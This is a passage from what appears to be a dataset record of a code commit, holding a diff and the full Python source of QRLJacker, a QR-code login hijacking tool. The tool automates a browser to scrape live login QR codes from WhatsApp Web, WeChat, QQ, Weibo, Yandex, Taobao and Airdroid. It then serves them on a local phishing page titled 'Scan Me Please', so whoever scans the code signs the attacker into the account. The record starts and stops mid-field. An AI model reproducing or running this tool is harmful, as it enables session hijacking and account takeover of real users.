2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n@@ -24,9 +54,28 @@ def create_driver():\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n@@ -282,12 +331,6 @@ def Simple_Exploit(classname,url,image_number,s=10):\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n@@ -331,7 +374,13 @@ def main():\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "files": {"/QrlJacking-Framework/QRLJacker.py": {"changes": [{"diff": "\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n", "add": 33, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser", "from selenium import webdriver", "from PIL import Image"], "goodparts": ["import base64 ,time ,os ,urllib ,sys ,threading ,configparser", "def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")", "try:", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver", "except:", "\tprint \"[!] Error Importing Exterinal Libraries\"", "\tprint \"[!] Trying to install it using pip\"", "\ttry:", "\t\tos.popen(\"python -m pip install selenium\")", "\t\tos.popen(\"python -m pip install Pillow\")", "\texcept:", "\t\ttry:", "\t\t\tos.popen(\"pip install selenium\")", "\t\t\tos.popen(\"pip install Pillow\")", "\t\texcept:", "\t\t\tprint \"[!] Can't install libraries \"", "\t\t\tprint \"[!!] Try to install it yourself\"", "\t\t\texit(0)", "finally:", "\tclear()", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver"]}, {"diff": "\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n", "add": 2, "remove": 2, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"], "goodparts": ["\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"]}, {"diff": "\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n", "add": 22, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\tweb = webdriver.Chrome()", "\t\tprint \" [+]Opening Google Chrome...\"", "\t\treturn web"], "goodparts": ["\t\ttry:", "\t\t\tweb = webdriver.Chrome()", "\t\t\tprint \" [+]Opening Google Chrome...\"", "\t\t\treturn web", "\t\texcept:", "\t\t\ttry:", "\t\t\t\tweb = webdriver.Opera()", "\t\t\t\tprint \" [+]Opening Opera...\"", "\t\t\t\treturn web", "\t\t\texcept:", "\t\t\t\ttry:", "\t\t\t\t\tweb = webdriver.Edge()", "\t\t\t\t\tprint \" [+]Opening Edge...\"", "\t\t\t\t\treturn web", "\t\t\t\texcept:", "\t\t\t\t\ttry:", "\t\t\t\t\t\tweb = webdriver.Ie()", "\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"", "\t\t\t\t\t\treturn web", "\t\t\t\t\texcept:", "\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"", "\t\t\t\t\t\texit(0)"]}, {"diff": "\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n", "add": 0, "remove": 6, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")"], "goodparts": []}, {"diff": "\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "add": 7, "remove": 1, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tif port == \"\":port = 1337"], "goodparts": ["\t\t\ttry:", "\t\t\t\tint(userInput)", "\t\t\texcept ValueError:", "\t\t\t\tport = 1337", "\t\t\tif port == \"\":", "\t\t\t\tport = 1337"]}], "source": "\n import base64,time,selenium,os,urllib,sys,threading,configparser from selenium import webdriver from binascii import a2b_base64 from PIL import Image def Serve_it(port=1337): \tdef serve(port): \t\tif os.name==\"nt\": \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\") \t\telse: \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\") \tthreading.Thread(target=serve,args=(port,)).start() def create_driver(): \ttry: \t\tweb=webdriver.Firefox() \t\tprint \"[+]Opening Mozila FireFox...\" \t\treturn web \texcept: \t\tweb=webdriver.Chrome() \t\tprint \"[+]Opening Google Chrome...\" \t\treturn web def Screenshot(PicName,location,size): \timg=Image.open(PicName) \tleft=location['x'] \ttop=location['y'] \tright=left +size['width'] \tbottom=top +size['height'] \tbox=(int(left), int(top), int(right), int(bottom)) \tfinal=img.crop(box) \tfinal.load() \tfinal.save(PicName) def whatsapp(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get('https://web.whatsapp.com/') \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name('qr-button') \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timg=driver.find_elements_by_tag_name('img')[0] \t\t\tsrc=img.get_attribute('src').replace(\"data:image/png;base64,\",\"\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tprint \"[+]Downloading the image..\" \t\t\tbinary_data=a2b_base64(src) \t\t\tqr=open(\"tmp.png\",\"wb\") \t\t\tqr.write(binary_data) \t\t\tprint \"[ \t\t\tqr.close() \t\t\ttime.sleep(5) \t\t\tcontinue \t\texcept: \t\t\tbreak def Yandex(): \tprint \"\\n---------------------------\" \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://passport.yandex.com/auth?mode=qr\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timg_url=\"https://passport.yandex.com\" +driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tdata=urllib.urlopen(img_url).read() \t\t\tprint \"[+]Downloading the image..\" \t\t\tf=open(\"tmp.svg\",\"w\").write(data) \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Airdroid(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://web.airdroid.com\") \ttime.sleep(5) \timg_number=16 \trefresh=0 \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[img_number] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tif refresh==0: \t\t\t\tprint \"[!]Refreshing page...\" \t\t\t\tdriver.refresh() \t\t\t\trefresh=1 \t\t\timg_number=15 \t\t\tcontinue \t\texcept: \t\t\tbreak def Weibo(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://weibo.com/login.php\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[len(imgs)-1] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def WeChat(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://web.wechat.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def QQ(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://w.qq.com\") \ttime.sleep(10) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tdriver.save_screenshot('tmp.png') \t\t\timg=driver.find_elements_by_tag_name(\"img\")[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tlocation=img.location \t\t\tsize=img.size \t\t\tprint \"[+]Grabbing photo..\" \t\t\tScreenshot(\"tmp.png\",location,size) \t\t\tprint \"[ \t\t\twebdriver.delete_all_cookies() \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Taobao(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://login.taobao.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton_class=web.find_element_by_class_name(\"msg-err\") \t\t\tbutton=button_class.find_elements_by_tag_name(\"a\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def make(typ=\"html\"): \tif typ==\"html\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"Scan
    \"\"\" \tif typ==\"svg\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"\"\" \tf=open(\"index.html\",\"w\") \tf.write(code) \tf.close() def Simple_Exploit(classname,url,image_number,s=10): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(url) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tlogin=driver.find_element_by_class_name(classname) \t\t\timg=login.find_elements_by_tag_name('img')[int(image_number)] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(s) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def clear(): \tif os.name==\"nt\": \t\tos.system(\"cls\") \telse: \t\tos.system(\"clear\") def main(): \t \tprint \"\"\"\\n \t ___ _ _ _ \t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __ \t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__| \t| |_| || | | | | |_| ||(_| ||(__ | <| __/| | \t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_| Vulnerable Web Applications and Services: 1.Chat Applications 2.Mailing Services 3.eCommerce 4.Online Banking 5.Passport Services 6.Mobile Management Software 7.Other Services 8.Customization \"\"\" \tchoice=input(\" Choice > \") \t \tif choice==1: \t\tprint \"\"\" 1.WhatsApp 2.WeChat 3.Line 4.Weibo 5.QQ Instant Messaging 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\t \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\twhatsapp() \t\t\tmain() \t\t \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeChat() \t\t\tmain() \t\t \t\t \t\telif int(choice_2)==4: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeibo() \t\t\tmain() \t\telif int(choice_2)==5: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tQQ() \t\t\tmain() \t \tif choice==2: \t\tprint \"\"\" 1.QQ Mail 2.Yandex Mail 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake(\"svg\") \t\t\tServe_it(port) \t\t\tYandex() \t\t\tmain() \t \tif choice==3: \t\tprint \"\"\" 1.Alibaba 2.Aliexpress 3.Taobao 4.Tmall 5.1688.com 6.Alimama 7.Taobao Trips 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==3: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t\t \t\t \t\t \t\telif int(choice_2)==7: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t \tif choice==4: \t\tprint \"\"\" 1.AliPay 2.Yandex Money 3.TenPay 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==5: \t\tprint \"\"\" 1.Yandex Passport 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==6: \t\tprint \"\"\" 1.Airdroid 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tAirdroid() \t\t\tmain() \t \tif choice==7: \t\tprint \"\"\" 1.MyDigiPass 2.Zapper 3.Trustly App 4.Yelophone 5.Alibaba Yunos 00.Back To Main Menu \"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \t \t\t \t\t \t\t \t\t if __name__=='__main__': \tmain() ", "sourceWithComments": "#!/usr/bin/env python\n#-*- encoding:utf-8 -*-\n#Author:D4Vinci\nimport base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\nfrom selenium import webdriver\nfrom binascii import a2b_base64\nfrom PIL import Image\n\n#settings = configparser.ConfigParser()\n\ndef Serve_it(port=1337):\n\tdef serve(port):\n\t\tif os.name==\"nt\":\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n\t\telse:\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n\tthreading.Thread(target=serve,args=(port,)).start()\n\ndef create_driver():\n\ttry:\n\t\tweb = webdriver.Firefox()\n\t\tprint \" [+]Opening Mozila FireFox...\"\n\t\treturn web\n\texcept:\n\t\tweb = webdriver.Chrome()\n\t\tprint \" [+]Opening Google Chrome...\"\n\t\treturn web\n\n#Stolen from stackoverflow :D\ndef Screenshot(PicName ,location ,size):\n\timg = Image.open(PicName)#screenshot.png\n\tleft = location['x']\n\ttop = location['y']\n\tright = left + size['width']\n\tbottom = top + size['height']\n\tbox = (int(left), int(top), int(right), int(bottom))\n\tfinal = img.crop(box) # defines crop points\n\tfinal.load()\n\tfinal.save(PicName)\n\ndef whatsapp():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get('https://web.whatsapp.com/')\n\ttime.sleep(5)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name('qr-button')\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\n\t\ttry:\n\t\t\timg = driver.find_elements_by_tag_name('img')[0]\n\t\t\tsrc = img.get_attribute('src').replace(\"data:image/png;base64,\",\"\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tbinary_data = a2b_base64(src)\n\t\t\tqr = open(\"tmp.png\",\"wb\")\n\t\t\tqr.write(binary_data)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\tqr.close()\n\t\t\ttime.sleep(5)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\n#make(\"svg\")\ndef Yandex():\n\tprint \"\\n-- --- -- --- -- --- -- --- -- --- --\"\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://passport.yandex.com/auth?mode=qr\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timg_url = \"https://passport.yandex.com\" + driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tdata = urllib.urlopen(img_url).read()\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tf = open(\"tmp.svg\",\"w\").write(data)\n\t\t\tprint \" [#]Saved To tmp.svg\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Airdroid():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://web.airdroid.com\")\n\ttime.sleep(5)\n\timg_number = 16\n\trefresh = 0\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[img_number]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tif refresh == 0:\n\t\t\t\tprint \" [!]Refreshing page...\"\n\t\t\t\tdriver.refresh()\n\t\t\t\trefresh = 1\n\t\t\timg_number = 15\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Weibo():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://weibo.com/login.php\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[len(imgs)-1]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef WeChat():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://web.wechat.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef QQ():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://w.qq.com\")\n\ttime.sleep(10)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tdriver.save_screenshot('tmp.png') #screenshot entire page\n\t\t\timg = driver.find_elements_by_tag_name(\"img\")[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tlocation = img.location\n\t\t\tsize = img.size\n\t\t\tprint \" [+]Grabbing photo..\"\n\t\t\tScreenshot(\"tmp.png\" ,location ,size)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\twebdriver.delete_all_cookies()\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Taobao():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://login.taobao.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton_class = web.find_element_by_class_name(\"msg-err\")\n\t\t\tbutton = button_class.find_elements_by_tag_name(\"a\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef make(typ=\"html\"):\n\tif typ == \"html\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n\"Scan
